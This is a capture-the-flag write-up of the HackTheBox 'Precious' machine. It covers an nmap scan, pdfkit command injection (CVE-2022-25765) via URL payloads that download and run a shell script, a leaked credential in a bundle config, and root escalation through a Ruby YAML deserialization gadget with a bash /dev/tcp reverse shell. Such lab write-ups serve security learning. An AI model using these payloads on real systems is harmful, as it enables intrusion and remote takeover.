HackTheBox - Precious

Writeup for HackTheBox’s Precious machine.

# Nmap 7.92 scan initiated Wed Apr 19 09:13:16 2023 as: nmap -sV -sC -A -Pn -p 22,80 -o nmap_ports -vv -Pn 10.10.11.189
Nmap scan report for 10.10.11.189 (10.10.11.189)
Host is up, received user-set (0.074s latency).
Scanned at 2023-04-19 09:13:16 UTC for 9s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEAPxqUubE88njHItE+mjeWJXOLu5reIBmQHCYh2ETYO5zatgel+LjcYdgaa4KLFyw8CfDbRL9swlmGTaf4iUbao4jD73HV9/Vrnby7zP04OH3U/wVbAKbPJrjnva/czuuV6uNz4SVA3qk0bp6wOrxQFzCn5OvY3FTcceH1jrjrJmUKpGZJBZZO6cp0HkZWs/eQi8F7anVoMDKiiuP0VX28q/yR1AFB4vR5ej8iV/X73z3GOs3ZckQMhOiBmu1FF77c7VW1zqln480/AbvHJDULtRdZ5xrYH1nFynnPi6+VU/PIfVMpHbYu7t0mEFeI5HxMPNUvtYRRDC14jEtH6RpZxd7PhwYiBctiybZbonM5UP0lP85OuMMPcSMll65+8hzMMY2aejjHTYqgzd7M6HxcEMrJW7n7s5eCJqMoUXkL8RSBEQSmMUV8iWzHW0XkVUfYT5Ko6Xsnb+DiiLvFNUlFwO6hWz2WG8rlZ3voQ/gv8BLVCU1ziaVGerd61PODck=
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFScv6lLa14Uczimjt1W7qyH6OvXIyJGrznL1JXzgVFdABwi/oWWxUzEvwP5OMki1SW9QKX7kKVznWgFNOp815Y=
|   256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH+JGiTFGOgn/iJUoLhZeybUvKeADIlm0fHnP/oZ66Qb
80/tcp open  http    syn-ack nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 19 09:13:25 2023 -- 1 IP address (1 host up) scanned in 9.40 seconds

Nmap scan showed that port 80 and 22 is open, nmap scan mentioned that it tried to redirect to the precious.htb , we can add that to the /etc/hosts file and then visit the site:

It accepts a URL and converts the site/page to PDF, giving the local HTTP Server link, we can see a request is made:

❯ sudo python3 -m http.server 80  --bind 10.10.14.67
[sudo] password for kali: 
Serving HTTP on 10.10.14.67 port 80 (http://10.10.14.67:80/) ...
10.10.11.189 - - [19/Apr/2023 09:26:35] "GET / HTTP/1.1" 200 -

It has been converted to the PDF, nothing interesting of any sort.

Downloading it and checking with exiftiool , we can see the metadata and the PDF was generated using pdfkit v0.8.6

❯ exiftool p7kugw4t30nt655wb3jcrnjpkp8moz41.pdf
ExifTool Version Number         : 12.39
File Name                       : p7kugw4t30nt655wb3jcrnjpkp8moz41.pdf
Directory                       : .
File Size                       : 18 KiB
File Modification Date/Time     : 2023:04:19 09:26:47+00:00
File Access Date/Time           : 2023:04:19 09:26:47+00:00
File Inode Change Date/Time     : 2023:04:19 09:26:47+00:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

There is a command injection vulnerability for the same version, we can follow the below guide to exploit it:

Command Injection in pdfkit | CVE-2022-25765 | Snyk

We can exploit the vulnerability by giving a payload to ping our machine:

http ` ping 10.10.14.67`

We can see that ICMP request has been made from the remote machine to our machine, which confirms the command injection.

We can further exploit this to get the RCE by capturing the request in the Burp Suite, then fiddling with the url parameter and providing different payloads:

POST / HTTP/1.1
Host: precious.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://precious.htb
Connection: close
Referer: http://precious.htb/
Upgrade-Insecure-Requests: 1

url=http://10.10.14.67/?name=%2520%60%20wget%20http://10.10.14.67/shell.sh%20-O%20/tmp/shell.sh%60'

Following two payloads were given to the url parameter , one of it downloads the [shell.sh](http://shell.sh) containing the payload for the reverse shell and next one is executing it:

💡 For some reason, directly executing reverse shell was resulting in failure, hence had to take a detour

http://10.10.14.67/?name=%20` wget http://10.10.14.67/shell.sh -O /tmp/shell.sh`'

http://10.10.14.67/?name=%2520%60%20b%20/tmp/shell.sh%60'

Doing so, we got reverse shell:

Enumerating the web app folder did not reveal any sensitive information which could be leveraged, moving on, checking the home folder of the ruby user, we have a .bundle folder containing config which had henry user’s credentials:

-bash-5.1$ cd .bundle
-bash-5.1$ ls
config
-bash-5.1$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

We can now SSH into the machine with the henry credentials, doing sudo -l , we can see that we can run /opt/update_dependencies.rb script as root user:

-bash-5.1$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Checking for any possible privilege escalation exploit for the particular scenario, I was stumbled on the following post, which mentioned that it reads the data from dependencies.yml which was in henry user’s home folder:

https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/

-rw-r--r-- 1 henry henry 650 Apr 19 06:15 /home/henry/dependencies.yml

Following the article, I modified the dependencies.yml and provided a reverse shell payload to the git_set variable:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "bash -c 'bash -i >& /dev/tcp/10.10.14.67/443 0>&1'"
         method_id: :resolve

Executing the script once dependencies.yml has been modified:

A connection was made to the our listener, giving us a shell as root user: